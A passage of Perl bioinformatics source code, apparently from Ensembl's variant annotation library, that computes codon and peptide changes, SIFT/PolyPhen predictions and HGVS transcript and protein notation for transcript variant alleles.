# e.g. AAAGG split into AAA and GG
my $whole_codon = substr($codon, 0, int(length($codon) / 3) * 3);
my $partial_codon = substr($codon, int(length($codon) / 3) * 3);
my $pep = '';
if($whole_codon) {
my $codon_seq = Bio::Seq->new(
-seq => $whole_codon,
-moltype => 'dna',
-alphabet => 'dna',
);
$pep .= $codon_seq->translate(undef, undef, undef, $codon_table)->seq;
}
# apply any seq edits?
my $have_edits = 0;
if($self->{is_reference}) {
my $seq_edits = $tv->_seq_edits;
if(scalar @$seq_edits) {
# get TV coords, switch if necessary
my ($tv_start, $tv_end) = ($tv->translation_start, $tv->translation_end);
($tv_start, $tv_end) = ($tv_end, $tv_start) if $tv_start > $tv_end;
# get all overlapping seqEdits
SE: foreach my $se(grep {overlap($tv_start, $tv_end, $_->start, $_->end)} @$seq_edits) {
my ($se_start, $se_end, $alt) = ($se->start, $se->end, $se->alt_seq);
my $se_alt_seq_length = length($alt);
$have_edits = 1;
# loop over each overlapping pos
foreach my $tv_pos(grep {overlap($_, $_, $se_start, $se_end)} ($tv_start..$tv_end)) {
# in some cases, the sequence edit can shorten the protein
# this means our TV can fall outside the range of the edited protein
# therefore for safety jump out
if($tv_pos - $se_start >= $se_alt_seq_length) {
return $self->{peptide} = undef;
}
# apply edit, adjusting for string position
substr($pep, $tv_pos - $tv_start, 1) = substr($alt, $tv_pos - $se_start, 1);
}
}
}
}
if($partial_codon && $pep ne '*') {
$pep .= 'X';
}
$pep ||= '-';
$pep_cache->{$codon} = $pep if length($codon) <= 3 && !$have_edits;
$self->{peptide} = $pep;
}
}
return $self->{peptide};
}
=head2 codon
Description: Return the codon sequence that this allele is predicted to result in
Returntype : string or undef if this allele is not in the CDS or is a frameshift
Exceptions : none
Status : Stable
=cut
sub codon {
my ($self, $codon) = @_;
$self->{codon} = $codon if defined $codon;
unless(exists($self->{codon})) {
$self->{codon} = undef;
my $tv = $self->base_variation_feature_overlap;
my ($tv_tr_start, $tv_tr_end) = ($tv->translation_start, $tv->translation_end);
unless($tv_tr_start && $tv_tr_end && $self->seq_is_dna) {
return $self->{codon};
}
# try to calculate the codon sequence
my $seq = $self->feature_seq;
$seq = '' if $seq eq '-';
# calculate necessary coords and lengths
my $codon_cds_start = $tv_tr_start * 3 - 2;
my $codon_cds_end = $tv_tr_end * 3;
my $codon_len = $codon_cds_end - $codon_cds_start + 1;
my $vf_nt_len = $tv->cds_end - $tv->cds_start + 1;
my $allele_len = $self->seq_length;
my $cds;
if ($allele_len != $vf_nt_len) {
if (abs($allele_len - $vf_nt_len) % 3) {
# this is a frameshift variation, we don't attempt to
# calculate the resulting codon or peptide change as this
# could get quite complicated
# return undef;
}
## Bioperl Seq object
my $cds_obj = $self->_get_alternate_cds();
$cds = $cds_obj->seq();
}
else {
# splice the allele sequence into the CDS
$cds = $tv->_translateable_seq;
substr($cds, $tv->cds_start-1, $vf_nt_len) = $seq;
}
# and extract the codon sequence
my $codon = substr($cds, $codon_cds_start-1, $codon_len + ($allele_len - $vf_nt_len));
if (length($codon) < 1) {
$self->{codon} = '-';
$self->{peptide} = '-';
}
else {
$self->{codon} = $codon;
}
}
return $self->{codon};
}
=head2 display_codon
Description: Return the codon sequence that this allele is predicted to result in
with the affected nucleotides identified in UPPER CASE and other
nucleotides in lower case
Returntype : string or undef if this allele is not in the CDS or is a frameshift
Exceptions : none
Status : Stable
=cut
sub display_codon {
my $self = shift;
unless(exists($self->{_display_codon})) {
# initialise so it doesn't get called again
$self->{_display_codon} = undef;
if(my $codon = $self->codon) {
my $display_codon = lc $self->codon;
if(my $codon_pos = $self->transcript_variation->codon_position) {
# if this allele is an indel then just return all lowercase
if ($self->feature_seq ne '-') {
# codon_position is 1-based, while substr assumes the string starts at 0
my $pos = $codon_pos - 1;
my $len = length $self->feature_seq;
substr($display_codon, $pos, $len) = uc substr($display_codon, $pos, $len);
}
}
$self->{_display_codon} = $display_codon;
}
}
return $self->{_display_codon};
}
=head2 polyphen_prediction
Description: Return the qualitative PolyPhen-2 prediction for the effect of this allele.
(Note that we currently only have PolyPhen predictions for variants that
result in single amino acid substitutions in human)
Returntype : string (one of 'probably damaging', 'possibly damaging', 'benign', 'unknown')
if this is a non-synonymous mutation and a prediction is available, undef
otherwise
Exceptions : none
Status : At Risk
=cut
sub polyphen_prediction {
my ($self, $classifier, $polyphen_prediction) = @_;
$classifier ||= 'humvar';
my $analysis = "polyphen_${classifier}";
$self->{$analysis}->{prediction} = $polyphen_prediction if $polyphen_prediction;
unless ($self->{$analysis}->{prediction}) {
my ($prediction, $score) = $self->_protein_function_prediction($analysis);
$self->{$analysis}->{score} = $score;
$self->{$analysis}->{prediction} = $prediction;
}
return $self->{$analysis}->{prediction};
}
=head2 polyphen_score
Description: Return the PolyPhen-2 probability that this allele is deleterious (Note that we
currently only have PolyPhen predictions for variants that result in single
amino acid substitutions in human)
Returntype : float between 0 and 1 if this is a non-synonymous mutation and a prediction is
available, undef otherwise
Exceptions : none
Status : At Risk
=cut
sub polyphen_score {
my ($self, $classifier, $polyphen_score) = @_;
$classifier ||= 'humvar';
my $analysis = "polyphen_${classifier}";
$self->{$analysis}->{score} = $polyphen_score if defined $polyphen_score;
unless ($self->{$analysis}->{score}) {
my ($prediction, $score) = $self->_protein_function_prediction($analysis);
$self->{$analysis}->{score} = $score;
$self->{$analysis}->{prediction} = $prediction;
}
return $self->{$analysis}->{score};
}
=head2 sift_prediction
Description: Return the qualitative SIFT prediction for the effect of this allele.
(Note that we currently only have SIFT predictions for variants that
result in single amino acid substitutions in human)
Returntype : string (one of 'tolerated', 'deleterious') if this is a non-synonymous
mutation and a prediction is available, undef otherwise
Exceptions : none
Status : At Risk
=cut
sub sift_prediction {
my ($self, $sift_prediction) = @_;
$self->{sift_prediction} = $sift_prediction if $sift_prediction;
unless ($self->{sift_prediction}) {
my ($prediction, $score) = $self->_protein_function_prediction('sift');
$self->{sift_score} = $score;
$self->{sift_prediction} = $prediction unless $self->{sift_prediction};
}
return $self->{sift_prediction};
}
=head2 sift_score
Description: Return the SIFT score for this allele (Note that we currently only have SIFT
predictions for variants that result in single amino acid substitutions in human)
Returntype : float between 0 and 1 if this is a non-synonymous mutation and a prediction is
available, undef otherwise
Exceptions : none
Status : At Risk
=cut
sub sift_score {
my ($self, $sift_score) = @_;
$self->{sift_score} = $sift_score if defined $sift_score;
unless ($self->{sift_score}) {
my ($prediction, $score) = $self->_protein_function_prediction('sift');
$self->{sift_score} = $score;
$self->{sift_prediction} = $prediction;
}
return $self->{sift_score};
}
sub _protein_function_prediction {
my ($self, $analysis) = @_;
# we can only get results for variants that cause a single amino acid substitution,
# so check the peptide allele string first
if ($self->pep_allele_string && $self->pep_allele_string =~ /^[A-Z]\/[A-Z]$/ && defined $AA_LOOKUP->{$self->peptide}) {
if (my $matrix = $self->transcript_variation->_protein_function_predictions($analysis)) {
# temporary fix - check $matrix is not an empty hashref
if(ref($matrix) && ref($matrix) eq 'Bio::EnsEMBL::Variation::ProteinFunctionPredictionMatrix') {
my ($prediction, $score) = $matrix->get_prediction(
$self->transcript_variation->translation_start,
$self->peptide,
);
return wantarray ? ($prediction, $score) : $prediction;
}
}
}
return undef;
}
=head2 hgvs_genomic
Description: Return a string representing the genomic-level effect of this allele in HGVS format
Returntype : string
Exceptions : none
Status : At Risk
=cut
sub hgvs_genomic {
return _hgvs_generic(@_,'genomic');
}
=head2 hgvs_transcript
Description: Return a string representing the CDS-level effect of this allele in HGVS format
Returntype : string or undef if this allele is not in the CDS
Exceptions : none
Status : At Risk
=cut
sub hgvs_transcript {
my $self = shift;
my $notation = shift;
##### set if string supplied
$self->{hgvs_transcript} = $notation if defined $notation;
##### return if held
return $self->{hgvs_transcript} if defined $self->{hgvs_transcript};
my $tv = $self->base_variation_feature_overlap;
### don't attempt to recalculate if field is NULL from DB
return $self->{hgvs_transcript} if exists $self->{hgvs_transcript} && defined($tv->dbID);
### don't try to handle odd characters
return undef if $self->variation_feature_seq() =~ m/[^ACGT\-]/ig;
### no result for reference allele
return undef if $self->is_reference == 1;
### else evaluate
my $tr = $tv->transcript;
my $tr_stable_id = $tr->stable_id;
my $vf = $tv->base_variation_feature;
### get reference sequence strand
my $refseq_strand = $tr->strand();
my $var_name = $vf->variation_name();
if($DEBUG ==1){
print "\nHGVS transcript: Checking ";
print " var_name $var_name " if defined $var_name ;
print " refseq strand => $refseq_strand" if defined $refseq_strand;
print " seq name : " . $tr_stable_id
if defined $tr_stable_id ;
print " var strand " . $vf->strand()
if defined $vf->strand();
print " vf st " . $vf->strand()
if defined $vf->strand() ;
print " seqname: " . $vf->seqname() ." seq: " . $self->variation_feature_seq
if defined $vf->seqname();
print "\n";
}
my $hgvs_notation ; ### store components of HGVS string in hash
## create new transcript variation object as position may be different
## for most variants (SNPs etc) this will actually just return $self
## logic is neater this way though
my $hgvs_tva = $self->_hgvs_tva($tr, $tv, $vf);
## return if a new transcript_variation_allele is not available - variation outside transcript
return undef unless defined $hgvs_tva && defined $hgvs_tva->base_variation_feature_overlap;
unless (defined $self->{_slice_start} ){
print "Exiting hgvs_transcript: no slice start position for $var_name in trans" . $tr_stable_id . "\n " if $DEBUG == 1 ;
return undef;
}
## this may be different to the input one for insertions/deletions
my $variation_feature_sequence = $hgvs_tva->variation_feature_seq();
if($variation_feature_sequence && $vf->strand() != $refseq_strand) {
reverse_comp(\$variation_feature_sequence) ;
};
### decide event type from HGVS nomenclature
print "sending alt: $variation_feature_sequence & $self->{_slice_start} -> $self->{_slice_end} for formatting\n" if $DEBUG ==1;
$hgvs_notation = hgvs_variant_notation(
$variation_feature_sequence, ### alt_allele,
$self->{_slice}->seq(), ### using this to extract ref allele
$self->{_slice_start},
$self->{_slice_end},
"",
"",
$var_name
);
### This should not happen
unless($hgvs_notation->{'type'}){
#warn "Error - not continuing; no HGVS annotation\n";
return undef;
}
## check for the same bases in ref and alt strings before or after the variant
$hgvs_notation = _clip_alleles($hgvs_notation) unless $hgvs_notation->{'type'} eq 'dup';
print "hgvs transcript type : " . $hgvs_notation->{'type'} . "\n" if $DEBUG == 1;
print "Got type: " . $hgvs_notation->{'type'} ." $hgvs_notation->{'ref'} -> $hgvs_notation->{'alt'}\n" if $DEBUG == 1;
### create reference name - transcript name & seq version
my $stable_id = $tr_stable_id;
$stable_id .= "." . $tr->version()
unless ($stable_id =~ /\.\d+$/ || $stable_id =~ /LRG/); ## no version required for LRG's
$hgvs_notation->{'ref_name'} = $stable_id;
### get position relative to transcript features [use HGVS coords not variation feature coords due to dups]
# avoid doing this twice if start and end are the same
my $same_pos = $hgvs_notation->{start} == $hgvs_notation->{end};
$hgvs_notation->{start} = $hgvs_tva->_get_cDNA_position( $hgvs_notation->{start} );
$hgvs_notation->{end} = $same_pos ? $hgvs_notation->{start} : $hgvs_tva->_get_cDNA_position( $hgvs_notation->{end} );
return undef unless defined $hgvs_notation->{start} && defined $hgvs_notation->{end} ;
# Make sure that start is always less than end
my ($exon_start_coord, $intron_start_offset) = $hgvs_notation->{start} =~ m/(\-?[0-9]+)\+?(\-?[0-9]+)?/;
my ($exon_end_coord, $intron_end_offset) = $same_pos ? ($exon_start_coord, $intron_start_offset) : $hgvs_notation->{end} =~ m/(\-?[0-9]+)\+?(\-?[0-9]+)?/;
$intron_start_offset ||= 0;
$intron_end_offset ||= 0;
print "pre pos sort : $hgvs_notation->{start},$hgvs_notation->{end}\n" if $DEBUG ==1;
($hgvs_notation->{start},$hgvs_notation->{end}) = ($hgvs_notation->{end},$hgvs_notation->{start}) if (
(($exon_start_coord > $exon_end_coord) || ($exon_start_coord == $exon_end_coord && $intron_start_offset > $intron_end_offset) ) &&
$hgvs_notation->{end} !~/\*/
);
print "post pos sort: $hgvs_notation->{start},$hgvs_notation->{end}\n" if $DEBUG ==1;
if($tr->cdna_coding_start()){
$hgvs_notation->{'numbering'} = "c"; ### set 'c' if transcript is coding
}
else{
$hgvs_notation->{'numbering'} = "n"; ### set 'n' if transcript non-coding
}
### generic formatting
print "pre-format $hgvs_notation->{alt}\n" if $DEBUG ==1;
$self->{hgvs_transcript} = format_hgvs_string( $hgvs_notation);
if($DEBUG ==1){ print "HGVS notation: " . $self->{hgvs_transcript} . " \n"; }
return $self->{hgvs_transcript};
}
=head2 hgvs_protein
Description: Return a string representing the protein-level effect of this allele in HGVS format
Returntype : string or undef if this allele is not in the CDS
Exceptions : none
Status : At Risk
=cut
sub hgvs_protein {
my $self = shift;
my $notation = shift;
my $hgvs_notation;
if($DEBUG == 1){
print "\nStarting hgvs_protein with ";
print " var: " . $self->transcript_variation->variation_feature->variation_name()
if defined $self->transcript_variation->variation_feature->variation_name() ;
print " trans: " . $self->transcript_variation->transcript->display_id()
if defined $self->transcript_variation->transcript->display_id() ;
print "\n";
}
### set if string supplied
$self->{hgvs_protein} = $notation if defined $notation;
### return if set
return $self->{hgvs_protein} if defined $self->{hgvs_protein} ;
### don't attempt to recalculate if field is NULL from DB
return $self->{hgvs_protein} if exists $self->{hgvs_protein} && defined($self->transcript_variation->dbID);
### don't try to handle odd characters
return undef if $self->variation_feature_seq() =~ m/[^ACGT\-]/ig;
### no HGVS annotation for reference allele
return undef if $self->is_reference();
print "checking pos with hgvs prot\n" if $DEBUG ==1;
## HGVS requires the variant be located in as 3' position as possible
## create new tva so position can be changed without impacting ensembl consequence
my $hgvs_tva = $self->_hgvs_tva();
## return if a new transcript_variation_allele is not available - variation outside transcript
return undef unless defined $hgvs_tva;
my $hgvs_tva_tv = $hgvs_tva->base_variation_feature_overlap;
return undef unless defined $hgvs_tva_tv;
my $hgvs_tva_vf = $hgvs_tva_tv->base_variation_feature;
my $tr = $hgvs_tva_tv->transcript;
my $pre = $hgvs_tva->_pre_consequence_predicates;
### no HGVS protein annotation for variants outside translated region
unless (
$pre->{coding} &&
$hgvs_tva_tv->translation_start() &&
$hgvs_tva_tv->translation_end()
){
print "Exiting hgvs_protein - variant " . $hgvs_tva_vf->variation_name() . "not within translation\n" if $DEBUG == 1;
return undef;
}
print "proceeding with hgvs prot\n" if $DEBUG == 1;
print "Checking translation start: " . $hgvs_tva_tv->translation_start() ."\n" if $DEBUG == 1;
## checks complete - start building term
### get reference sequence and add seq version unless LRG
$hgvs_notation->{ref_name} = $tr->translation->display_id();
$hgvs_notation->{ref_name} .= "." . $tr->translation->version()
unless ($hgvs_notation->{ref_name}=~ /\.\d+$/ || $hgvs_notation->{ref_name} =~ /LRG/);
$hgvs_notation->{'numbering'} = 'p';
### get default reference location [changed later in some cases eg. duplication]
$hgvs_notation->{start} = $hgvs_tva_tv->translation_start();
$hgvs_notation->{end} = $hgvs_tva_tv->translation_end();
## get default reference & alt peptides [changed later to hgvs format]
$hgvs_notation->{alt} = $hgvs_tva->peptide;
$hgvs_notation->{ref} = $hgvs_tva_tv->get_reference_TranscriptVariationAllele->peptide;
print "Got protein peps: $hgvs_notation->{ref} => $hgvs_notation->{alt} (" . $hgvs_tva->codon() .")\n" if $DEBUG ==1;
if(defined $hgvs_notation->{alt} && defined $hgvs_notation->{ref} &&
($hgvs_notation->{alt} ne $hgvs_notation->{ref})){
$hgvs_notation = _clip_alleles( $hgvs_notation);
}
#### define type - types are different for protein numbering
$hgvs_notation = $hgvs_tva->_get_hgvs_protein_type($hgvs_notation);
return undef unless defined $hgvs_notation->{type};
##### Convert ref & alt peptides taking into account HGVS rules
$hgvs_notation = $hgvs_tva->_get_hgvs_peptides($hgvs_notation);
unless($hgvs_notation) {
$self->{hgvs_protein} = undef;
return undef;
}
##### String formatting
return $hgvs_tva->_get_hgvs_protein_format($hgvs_notation);
}
sub _hgvs_tva {
my ($self, $tr, $tv, $vf) = @_;
# return self if we've worked out we didn't need to create a new one
return $self if $self->{_hgvs_tva_is_self};
if(!exists($self->{_hgvs_tva})) {
$tv ||= $self->base_variation_feature_overlap;
$vf ||= $tv->base_variation_feature;
$tr ||= $tv->transcript;
my $offset = 0;
## need to get ref seq from transcript slice
my ($slice_start, $slice_end, $slice ) = $self->_var2transcript_slice_coords($tr, $tv, $vf);
## no annotation possible if variant outside transcript
unless ($slice_start) {
print "couldn't get slice pos for " .$vf->variation_name() . " " . $tr->display_id() . "\n" if $DEBUG ==1;
$self->{_hgvs_tva} = undef;
return $self->{_hgvs_tva};
}
## for readability
my $var_class = $vf->var_class();
$var_class =~ s/somatic_//;
## only check insertions & deletions & don't move beyond transcript
if(
($var_class eq 'deletion' || $var_class eq 'insertion' ) &&
$slice_start != $slice->length() &&
(
(
defined $tv->adaptor() && UNIVERSAL::can($tv->adaptor, 'isa') && $tv->adaptor->db ?
$tv->adaptor->db->shift_hgvs_variants_3prime() == 1 :
$Bio::EnsEMBL::Variation::DBSQL::TranscriptVariationAdaptor::DEFAULT_SHIFT_HGVS_VARIANTS_3PRIME == 1
)
)
) {
print "checking position for $var_class, transcript strand is : ". $tr->strand() ."\n" if $DEBUG ==1;
my $ref_allele = $tv->get_reference_TranscriptVariationAllele->variation_feature_seq();
my $alt_allele = $self->variation_feature_seq();
my $seq_to_check;
## sequence to compare is the reference allele for deletion
$seq_to_check = $ref_allele if $var_class eq 'deletion' ;
## sequence to compare is the alt allele
$seq_to_check = $alt_allele if $var_class eq 'insertion';
my $allele_flipped = 0;
## switch allele to transcript strand if necessary
if(
($vf->strand() < 0 && $tr->strand() > 0) ||
($vf->strand() > 0 && $tr->strand() < 0)
) {
reverse_comp(\$seq_to_check);
$allele_flipped = 1;
}
## get reference sequence 3' of variant (slice in transcript strand orientation
my $from = $slice_end;
my $post_seq = substr($slice->seq(), $from);
my $checking_seq = substr( $post_seq , 0,20 );
print "getting seq: $from to transcript end ($checking_seq )\n" if $DEBUG ==1;
## run check
my $allele;
( $allele, $offset ) = get_3prime_seq_offset($seq_to_check, $post_seq );
print "got allele & offset $allele, $offset length checked:". length($post_seq) ."\n" if $DEBUG ==1;
## correct allele for strand
reverse_comp(\$allele) if $allele_flipped == 1;
if($offset == length($post_seq) ){ ## moved beyond transcript - no annotation
$self->{_hgvs_tva} = undef;
return $self->{_hgvs_tva};
}
elsif($offset > 0 ){
## need to move - create new objects with correct position & alleles
print "moving tva ($allele) by $offset for $var_class, seq checked was length " . length($post_seq) . "\n" if $DEBUG ==1;
print "adding offset $offset to slice pos: $slice_start & $slice_end\n" if $DEBUG ==1;
## increment these & save later - offset positive as slice in transcript orientation
$slice_start = $slice_start + $offset;
$slice_end = $slice_end + $offset;
## define alleles for variation_feature
$ref_allele = "-" if $var_class eq 'insertion';
$alt_allele = $allele if $var_class eq 'insertion';
$ref_allele = $allele if $var_class eq 'deletion';
$alt_allele = "-" if $var_class eq 'deletion';
## make offset negative if rev strand
$offset = 0 - $offset if $tr->strand() <0 ;
print "sending $ref_allele/$alt_allele & offset:$offset to make_hgvs for $var_class\n" if $DEBUG == 1;
$self->{_hgvs_tva} = $self->_make_hgvs_tva($ref_allele, $alt_allele, $offset)
}
else{
print "leaving position as input for $var_class after checking \n" if $DEBUG ==1;
$self->{_hgvs_tva_is_self} = 1;
}
}
else {
print "leaving position as input for $var_class \n" if $DEBUG ==1;
$self->{_hgvs_tva_is_self} = 1;
}
## save this to be able to report when HGVS is shifted
$self->{_hgvs_offset} = $offset;
## add cache of seq/ pos required by c, n and p
$self->{_slice_start} = $slice_start;
$self->{_slice_end} = $slice_end;
$self->{_slice} = $slice;
}
return $self->{_hgvs_tva_is_self} ? $self : $self->{_hgvs_tva};
}
=head2 hgvs_offset
Description: Return the number of bases the variant was shifted 3'
to defined the HGVS transcript annotation
Returntype : int or undef if HGVS has not been calculated or shift not applied
Exceptions : none
Status : At risk
=cut
sub hgvs_offset {
my $self = shift;
return $self->{_hgvs_offset};
}
sub _make_hgvs_tva {
my $self = shift;
my $ref_allele = shift;
my $alt_allele = shift;
my $offset = shift;
my $allele_string = $ref_allele . "/" . $alt_allele;
my $tv = $self->transcript_variation;
my $vf = $tv->variation_feature;
my $start = $vf->start() + $offset;
my $end = $vf->end() + $offset;
print "Starting make hgvs tva - vf at $start - $end $allele_string\n" if $DEBUG ==1;
print "previous pos :". $vf->start() ."-" . $vf->end() ."\n" if $DEBUG ==1;
my $moved_vf = Bio::EnsEMBL::Variation::VariationFeature->new_fast({
start => $start,
end => $end,
allele_string => $allele_string,
strand => $vf->strand(),
map_weight => $vf->map_weight(),
# -adaptor => $self->transcript_variation->adaptor->db->get_VariationFeatureAdaptor(),
variation_name => $vf->variation_name(),
# variation => $vf->variation(), ## dont think we need variation, this was running a DB lookup!!!
slice => $vf->slice()
});
my $transcript = $self->transcript_variation->transcript();
my $moved_tv = Bio::EnsEMBL::Variation::TranscriptVariation->new(
-transcript => $transcript,
-variation_feature => $moved_vf,
-no_ref_check => 1,
-no_transfer => 1
);
my $hgvs_tva = Bio::EnsEMBL::Variation::TranscriptVariationAllele->new_fast(
{
transcript_variation => $moved_tv,
variation_feature_seq => $alt_allele,
is_reference => 0
},
1
);
return $hgvs_tva;
}
### HGVS: format protein string - runs on $self->{hgvs_tva}
sub _get_hgvs_protein_format {
my $self = shift;
my $hgvs_notation = shift;
### all start with refseq name & numbering type
$hgvs_notation->{'hgvs'} = $hgvs_notation->{'ref_name'} . ":" . $hgvs_notation->{'numbering'} . ".";
### New (v 15.11) way to describe synonymous changes
if( $hgvs_notation->{ref} eq $hgvs_notation->{alt}
&& $hgvs_notation->{type} ne "fs" && $hgvs_notation->{type} ne "ins"){
return $hgvs_notation->{'hgvs'} . $hgvs_notation->{ref} . $hgvs_notation->{start} . "=";
}
### handle stop_lost seperately regardless of cause by del/delins => p.TerposAA1extnum_AA_to_stop
if(stop_lost($self) && ($hgvs_notation->{type} eq "del" || $hgvs_notation->{type} eq ">" )) {
### if deletion of stop add extTer and number of new aa to alt
$hgvs_notation->{alt} = substr($hgvs_notation->{alt}, 0, 3);
print "stop loss check req for $hgvs_notation->{type}\n" if $DEBUG ==1;
my $aa_til_stop = $self->_stop_loss_extra_AA($hgvs_notation->{start}-1 );
### use ? to show new stop not predicted
$aa_til_stop = "?" unless defined $aa_til_stop ;
$hgvs_notation->{alt} .= "extTer" . $aa_til_stop;
$hgvs_notation->{'hgvs'} .= $hgvs_notation->{ref} . $hgvs_notation->{start} . $hgvs_notation->{alt} ;
}
elsif( $hgvs_notation->{type} eq "dup"){
if($hgvs_notation->{start} < $hgvs_notation->{end}){
### list only first and last peptides in long duplicated string
my $ref_pep_first = substr($hgvs_notation->{alt}, 0, 3);
my $ref_pep_last = substr($hgvs_notation->{alt}, -3, 3);
$hgvs_notation->{'hgvs'} .= $ref_pep_first . $hgvs_notation->{start} . "_" . $ref_pep_last . $hgvs_notation->{end} ."dup";
}
else{
$hgvs_notation->{'hgvs'} .= $hgvs_notation->{alt} . $hgvs_notation->{start} . "dup" ;
}
print "formating a dup $hgvs_notation->{hgvs} \n" if $DEBUG==1;
}
elsif($hgvs_notation->{type} eq ">"){
#### substitution
$hgvs_notation->{'hgvs'} .= $hgvs_notation->{ref}. $hgvs_notation->{start} . $hgvs_notation->{alt};
}
elsif( $hgvs_notation->{type} eq "delins" || $hgvs_notation->{type} eq "ins" ){
$hgvs_notation->{alt} = "Ter" if $hgvs_notation->{alt} =~ /^Ter/;
#### list first and last aa in reference only
my $ref_pep_first = substr($hgvs_notation->{ref}, 0, 3);
my $ref_pep_last;
if(substr($hgvs_notation->{ref}, -1, 1) eq "X"){
$ref_pep_last ="Ter";
}
else{
$ref_pep_last = substr($hgvs_notation->{ref}, -3, 3);
}
if($hgvs_notation->{ref} =~ /X$/) {
### For stops & add extX & distance to next stop to alt pep
my $aa_til_stop = $self->_stop_loss_extra_AA( $hgvs_notation->{start}-1, "loss");
if(defined $aa_til_stop){
$hgvs_notation->{alt} .="extTer" . $aa_til_stop;
}
}
if($hgvs_notation->{start} == $hgvs_notation->{end} && $hgvs_notation->{type} eq "delins"){
$hgvs_notation->{'hgvs'} .= $ref_pep_first . $hgvs_notation->{start} . $hgvs_notation->{type} . $hgvs_notation->{alt} ;
}
else{
### correct ordering if needed
if($hgvs_notation->{start} > $hgvs_notation->{end}){
( $hgvs_notation->{start}, $hgvs_notation->{end}) = ($hgvs_notation->{end}, $hgvs_notation->{start} );
}
$hgvs_notation->{'hgvs'} .= $ref_pep_first . $hgvs_notation->{start} . "_" . $ref_pep_last . $hgvs_notation->{end} . $hgvs_notation->{type} . $hgvs_notation->{alt} ;
}
}
elsif($hgvs_notation->{type} eq "fs"){
if(defined $hgvs_notation->{alt} && $hgvs_notation->{alt} eq "Ter"){ ## stop gained
## describe as substitution if stop occurs immediately
$hgvs_notation->{'hgvs'} .= $hgvs_notation->{ref} . $hgvs_notation->{start} . $hgvs_notation->{alt} ;
}
else{
## not immediate stop - count aa until next stop
my $aa_til_stop = $self->_stop_loss_extra_AA( $hgvs_notation->{start}-1, "fs");
### use ? to show new stop not predicted
$aa_til_stop = "?" unless defined $aa_til_stop;
$hgvs_notation->{'hgvs'} .= $hgvs_notation->{ref} . $hgvs_notation->{start} . $hgvs_notation->{alt} ."fsTer$aa_til_stop";
}
}
elsif( $hgvs_notation->{type} eq "del"){
$hgvs_notation->{alt} = "del";
if( length($hgvs_notation->{ref}) >3 ){
my $ref_pep_first = substr($hgvs_notation->{ref}, 0, 3);
my $ref_pep_last = substr($hgvs_notation->{ref}, -3, 3);
$hgvs_notation->{'hgvs'} .= $ref_pep_first . $hgvs_notation->{start} . "_" . $ref_pep_last . $hgvs_notation->{end} .$hgvs_notation->{alt} ;
}
else{
$hgvs_notation->{'hgvs'} .= $hgvs_notation->{ref} . $hgvs_notation->{start} . $hgvs_notation->{alt} ;
}
}
elsif($hgvs_notation->{start} ne $hgvs_notation->{end} ){
$hgvs_notation->{'hgvs'} .= $hgvs_notation->{ref} . $hgvs_notation->{start} . "_" . $hgvs_notation->{alt} . $hgvs_notation->{end} ;
}
else{
#### default to substitution
$hgvs_notation->{'hgvs'} .= $hgvs_notation->{ref}. $hgvs_notation->{start} . $hgvs_notation->{alt};
}
if($DEBUG==1){ print "Returning protein format: $hgvs_notation->{'hgvs'}\n";}
return $hgvs_notation->{'hgvs'};
}
### HGVS: get type of variation event in protein terms
sub _get_hgvs_protein_type {
my $self = shift;
my $hgvs_notation = shift;
if($DEBUG==1){ print "starting get_hgvs_protein_type \n";}
if( frameshift($self) ){
$hgvs_notation->{type} = "fs";
return $hgvs_notation;
}
if( defined $hgvs_notation->{ref} && defined $hgvs_notation->{alt} ){
### Run type checks on peptides if available
$hgvs_notation->{ref} =~ s/\*/X/;
$hgvs_notation->{alt} =~ s/\*/X/;
if($hgvs_notation->{ref} eq "-" || $hgvs_notation->{ref} eq "") {
$hgvs_notation->{type} = "ins";
}
elsif($hgvs_notation->{alt} eq "" || $hgvs_notation->{alt} eq "-") {
$hgvs_notation->{type} = "del";
}
elsif( length($hgvs_notation->{ref}) ==1 && length($hgvs_notation->{alt}) ==1 ) {
$hgvs_notation->{type} = ">";
}
elsif(
((length($hgvs_notation->{alt}) >0 && length($hgvs_notation->{ref}) >0) &&
(length($hgvs_notation->{alt}) ne length($hgvs_notation->{ref})) ) ||
(length($hgvs_notation->{alt}) >1 && length($hgvs_notation->{ref}) >1) ## not a substitution if >1 aa switched
) {
$hgvs_notation->{type} = "delins";
}
else{
$hgvs_notation->{type} = ">";
}
}
else {
### Cannot define type from peptides - check at DNA level
### get allele length from dna seq & cds length
my ($ref_length, $alt_length ) = $self->_get_allele_length();
if($alt_length >1 ){
if($hgvs_notation->{start} == ($hgvs_notation->{end} + 1) ){
### convention for insertions - end one less than start
$hgvs_notation->{type} = "ins";
}
elsif( $hgvs_notation->{start} != $hgvs_notation->{end} ){
$hgvs_notation->{type} = "delins";
}
else{
$hgvs_notation->{type} = ">";
}
}
elsif($ref_length >1 ){
$hgvs_notation->{type} = "del";
}
else{
#print STDERR "DEBUG ".$self->variation_feature->start."\n";
#warn "Cannot define protein variant type [$ref_length - $alt_length]\n";
}
}
return $hgvs_notation;
}
### HGVS: get reference & alternative peptide
sub _get_hgvs_peptides {
my $self = shift;
my $hgvs_notation = shift;
if($hgvs_notation->{type} eq "fs"){
### ensembl alt/ref peptides not the same as HGVS alt/ref - look up seperately
$hgvs_notation = $self->_get_fs_peptides($hgvs_notation);
return undef unless defined $hgvs_notation->{type};
}
elsif($hgvs_notation->{type} eq "ins" ){
### Check if bases directly after insertion match inserted sequence
$hgvs_notation = $self->_check_peptides_post_var($hgvs_notation);
### Check that inserted bases do not duplicate 3' reference sequence [set to type = dup and return if so]
$hgvs_notation = $self->_check_for_peptide_duplication($hgvs_notation) unless $hgvs_notation->{alt} =~/\*/;
return ($hgvs_notation) if $hgvs_notation->{type} eq "dup";
### HGVS ref are peptides flanking insertion
my $min;
if($hgvs_notation->{start} < $hgvs_notation->{end}){
$min = $hgvs_notation->{start};
}
else{ $min = $hgvs_notation->{end};}
$hgvs_notation->{ref} = $self->_get_surrounding_peptides(
$min,
$hgvs_notation->{original_ref},
2
);
return undef unless $hgvs_notation->{ref};
}
elsif($hgvs_notation->{type} eq "del" ){
##check if bases directly after deletion match the deletion
$hgvs_notation = $self->_check_peptides_post_var($hgvs_notation);
}
### Convert peptide to 3 letter code as used in HGVS
unless( $hgvs_notation->{ref} eq "-"){
$hgvs_notation->{ref} = Bio::SeqUtils->seq3(Bio::PrimarySeq->new(-seq => $hgvs_notation->{ref}, -id => 'ref', -alphabet => 'protein')) || "";
}
if( $hgvs_notation->{alt} eq "-"){
$hgvs_notation->{alt} = "del";
}
else{
$hgvs_notation->{alt} = Bio::SeqUtils->seq3(Bio::PrimarySeq->new(-seq => $hgvs_notation->{alt}, -id => 'ref', -alphabet => 'protein')) || "";
}
### handle special cases
if( start_lost($self) ){
#### handle initiator loss -> probably no translation => alt allele is '?'
